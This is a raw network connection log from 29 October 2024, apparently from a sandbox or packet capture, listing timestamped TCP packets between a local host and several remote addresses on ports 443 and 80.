Oct 29, 2024 06:59:34.430565119 CET	443	49901	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:34.430877924 CET	49901	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:34.431108952 CET	49901	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:34.431123972 CET	443	49901	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:34.828253984 CET	443	49892	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.830168962 CET	49892	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:34.830189943 CET	443	49892	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.830216885 CET	443	49891	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:34.831059933 CET	49891	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:34.831060886 CET	49892	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:34.831070900 CET	443	49891	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:34.831095934 CET	443	49892	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.831578016 CET	443	49891	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:34.831954956 CET	49891	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:34.832071066 CET	443	49891	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:34.832093000 CET	443	49893	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.832118988 CET	49891	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:34.832222939 CET	49891	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:34.832252979 CET	443	49891	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:34.832704067 CET	49893	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:34.832735062 CET	443	49893	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.833271980 CET	443	49900	104.93.21.152	192.168.2.5
Oct 29, 2024 06:59:34.833489895 CET	49893	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:34.833504915 CET	443	49893	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.833682060 CET	49900	443	192.168.2.5	104.93.21.152
Oct 29, 2024 06:59:34.833697081 CET	443	49900	104.93.21.152	192.168.2.5
Oct 29, 2024 06:59:34.834846973 CET	443	49900	104.93.21.152	192.168.2.5
Oct 29, 2024 06:59:34.834893942 CET	443	49894	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.835793018 CET	49900	443	192.168.2.5	104.93.21.152
Oct 29, 2024 06:59:34.835973024 CET	49894	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:34.835973978 CET	443	49900	104.93.21.152	192.168.2.5
Oct 29, 2024 06:59:34.835980892 CET	443	49894	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.836657047 CET	49894	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:34.836662054 CET	443	49894	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.877470016 CET	49900	443	192.168.2.5	104.93.21.152
Oct 29, 2024 06:59:34.952507019 CET	443	49898	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.953144073 CET	49898	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:34.953181982 CET	443	49898	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.953701019 CET	49898	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:34.953707933 CET	443	49898	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.957648039 CET	443	49892	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.957757950 CET	443	49892	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.957819939 CET	49892	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:34.958086014 CET	49892	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:34.958096981 CET	443	49892	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.958106041 CET	49892	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:34.958111048 CET	443	49892	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.958589077 CET	443	49899	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.959076881 CET	49899	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:34.959086895 CET	443	49899	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.959701061 CET	49899	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:34.959707022 CET	443	49899	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.961992979 CET	443	49893	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.962064028 CET	443	49893	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.962263107 CET	49893	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:34.962923050 CET	49902	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:34.962946892 CET	443	49902	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.963017941 CET	49902	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:34.963165045 CET	49902	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:34.963180065 CET	443	49902	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.963349104 CET	49893	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:34.963370085 CET	443	49893	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.963399887 CET	49893	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:34.963406086 CET	443	49893	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.964931011 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:34.964989901 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:34.966069937 CET	49903	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:34.966111898 CET	443	49903	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.966181993 CET	49903	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:34.966357946 CET	49903	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:34.966372013 CET	443	49903	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.969012022 CET	443	49894	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.969156981 CET	443	49894	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.969209909 CET	49894	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:34.969263077 CET	49894	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:34.969269037 CET	443	49894	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.969276905 CET	49894	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:34.969280005 CET	443	49894	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.971664906 CET	49904	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:34.971687078 CET	443	49904	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.971798897 CET	49904	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:34.971946955 CET	49904	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:34.971960068 CET	443	49904	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.977670908 CET	443	49896	20.125.209.212	192.168.2.5
Oct 29, 2024 06:59:34.978275061 CET	49896	443	192.168.2.5	20.125.209.212
Oct 29, 2024 06:59:34.978287935 CET	443	49896	20.125.209.212	192.168.2.5
Oct 29, 2024 06:59:34.978770018 CET	443	49896	20.125.209.212	192.168.2.5
Oct 29, 2024 06:59:34.979157925 CET	49896	443	192.168.2.5	20.125.209.212
Oct 29, 2024 06:59:34.979238033 CET	443	49896	20.125.209.212	192.168.2.5
Oct 29, 2024 06:59:34.979331970 CET	49896	443	192.168.2.5	20.125.209.212
Oct 29, 2024 06:59:34.990495920 CET	443	49895	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:34.994914055 CET	49895	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:34.994931936 CET	443	49895	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:34.995223999 CET	443	49895	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:34.995671034 CET	49895	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:34.995724916 CET	443	49895	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:34.995920897 CET	49895	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:34.995965004 CET	49895	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:34.995978117 CET	443	49895	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:35.027333021 CET	443	49896	20.125.209.212	192.168.2.5
Oct 29, 2024 06:59:35.083528042 CET	443	49898	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.083683014 CET	443	49898	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.083751917 CET	49898	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.083905935 CET	49898	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.083920956 CET	443	49898	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.083933115 CET	49898	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.083939075 CET	443	49898	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.086962938 CET	49905	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.086983919 CET	443	49905	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.087048054 CET	49905	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.087228060 CET	49905	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.087244034 CET	443	49905	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.092801094 CET	443	49899	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.093020916 CET	443	49899	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.093111038 CET	49899	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.093166113 CET	49899	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.093166113 CET	49899	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.093173027 CET	443	49899	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.093183041 CET	443	49899	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.096137047 CET	49906	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.096153975 CET	443	49906	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.096249104 CET	49906	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.096498013 CET	49906	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.096522093 CET	443	49906	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.119550943 CET	443	49891	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:35.120296001 CET	49891	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:35.120347023 CET	443	49891	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:35.120409012 CET	49891	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:35.134217978 CET	443	49896	20.125.209.212	192.168.2.5
Oct 29, 2024 06:59:35.159765959 CET	443	49896	20.125.209.212	192.168.2.5
Oct 29, 2024 06:59:35.159925938 CET	49896	443	192.168.2.5	20.125.209.212
Oct 29, 2024 06:59:35.174806118 CET	49896	443	192.168.2.5	20.125.209.212
Oct 29, 2024 06:59:35.174813986 CET	443	49896	20.125.209.212	192.168.2.5
Oct 29, 2024 06:59:35.179547071 CET	443	49897	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:35.201855898 CET	49897	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:35.201877117 CET	443	49897	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:35.203423977 CET	49897	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:35.203428984 CET	443	49897	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:35.203473091 CET	49897	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:35.203480005 CET	443	49897	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:35.366686106 CET	443	49901	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:35.366910934 CET	49901	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:35.366930962 CET	443	49901	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:35.367806911 CET	443	49901	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:35.367872953 CET	49901	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:35.368248940 CET	49901	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:35.368302107 CET	443	49901	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:35.368622065 CET	49901	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:35.368628979 CET	443	49901	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:35.368678093 CET	49901	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:35.368691921 CET	443	49901	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:35.408354998 CET	49901	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:35.542788029 CET	443	49901	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:35.543433905 CET	49901	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:35.543469906 CET	443	49901	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:35.543564081 CET	49901	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:35.605808973 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:35.611270905 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:35.649668932 CET	443	49895	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:35.650578022 CET	49895	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:35.650626898 CET	443	49895	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:35.650690079 CET	49895	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:35.700347900 CET	443	49904	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.700906992 CET	49904	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.700926065 CET	443	49904	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.701472044 CET	49904	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.701478004 CET	443	49904	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.703353882 CET	443	49902	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.703757048 CET	49902	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.703787088 CET	443	49902	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.704138041 CET	49902	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.704147100 CET	443	49902	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.745080948 CET	443	49903	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.745517015 CET	49903	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.745536089 CET	443	49903	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.745982885 CET	49903	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.745989084 CET	443	49903	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.819192886 CET	443	49905	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.819909096 CET	49905	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.819928885 CET	443	49905	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.820480108 CET	49905	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.820487976 CET	443	49905	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.828634977 CET	443	49904	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.828764915 CET	443	49904	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.828840017 CET	49904	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.828937054 CET	49904	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.828950882 CET	443	49904	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.828967094 CET	49904	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.828977108 CET	443	49904	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.832312107 CET	49907	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.832370996 CET	443	49907	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.832479000 CET	49907	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.832619905 CET	49907	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.832649946 CET	443	49907	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.833849907 CET	443	49906	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.834302902 CET	49906	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.834320068 CET	443	49906	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.834625006 CET	49906	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.834630013 CET	443	49906	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.867360115 CET	443	49902	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.867537022 CET	443	49902	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.867775917 CET	49902	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.868350029 CET	49902	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.868366003 CET	443	49902	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.868379116 CET	49902	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.868390083 CET	443	49902	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.872580051 CET	49908	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.872612000 CET	443	49908	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.872756958 CET	49908	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.873363972 CET	49908	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.873378992 CET	443	49908	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.882694960 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:35.882731915 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:35.882766008 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:35.882791042 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:35.882801056 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:35.882838964 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:35.882842064 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:35.882877111 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:35.882929087 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:35.882947922 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:35.882963896 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:35.882997036 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:35.883009911 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:35.883030891 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:35.883064032 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:35.883090019 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:35.883116007 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:35.883120060 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:35.883145094 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:35.883209944 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:35.886473894 CET	443	49903	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.886614084 CET	443	49903	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.887173891 CET	49903	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.887173891 CET	49903	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.887192011 CET	49903	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.887201071 CET	443	49903	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.889339924 CET	49909	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.889360905 CET	443	49909	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.889585018 CET	49909	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.889703989 CET	49909	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.889718056 CET	443	49909	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.903847933 CET	443	49897	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:35.903867960 CET	443	49897	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:35.903908014 CET	443	49897	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:35.903930902 CET	49897	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:35.903938055 CET	443	49897	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:35.903970957 CET	49897	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:35.904434919 CET	49897	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:35.904445887 CET	443	49897	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:35.904453993 CET	49897	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:35.904552937 CET	443	49897	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:35.904578924 CET	443	49897	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:35.904628038 CET	49897	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:35.949992895 CET	443	49905	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.950140953 CET	443	49905	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.950474977 CET	49905	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.950541973 CET	49905	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.950541973 CET	49905	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.950581074 CET	443	49905	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.950606108 CET	443	49905	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.952739000 CET	49910	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.952765942 CET	443	49910	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.952950001 CET	49910	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.953087091 CET	49910	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.953099966 CET	443	49910	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.966049910 CET	443	49906	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.966192007 CET	443	49906	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.966739893 CET	49906	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.966864109 CET	49906	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.966864109 CET	49906	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.966875076 CET	443	49906	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.966882944 CET	443	49906	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.969455004 CET	49911	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.969470978 CET	443	49911	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.969564915 CET	49911	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.969734907 CET	49911	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:35.969748020 CET	443	49911	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:35.996676922 CET	49912	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:35.996689081 CET	443	49912	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:35.996789932 CET	49912	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:35.996980906 CET	49912	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:35.996992111 CET	443	49912	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:36.036022902 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.036079884 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.036099911 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.036114931 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.036144972 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.036149979 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.036185026 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.036277056 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.036309004 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.036328077 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.036343098 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.036377907 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.036391973 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.036412001 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.036456108 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.036953926 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.036988020 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.037022114 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.037050009 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.037055016 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.037071943 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.037089109 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.037095070 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.037178993 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.037858963 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.037909985 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.037955046 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.037957907 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.037980080 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.037991047 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.038007021 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.038027048 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.038070917 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.038774014 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.038806915 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.038834095 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.038856030 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.038861990 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.038894892 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.038903952 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.038930893 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.038975000 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.153023005 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.153162003 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.189640045 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.189671993 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.189724922 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.189774990 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.189795971 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.189810038 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.189841986 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.189843893 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.189873934 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.189888000 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.189893961 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.190206051 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.190274000 CET	80	49888	185.215.113.206	192.168.2.5
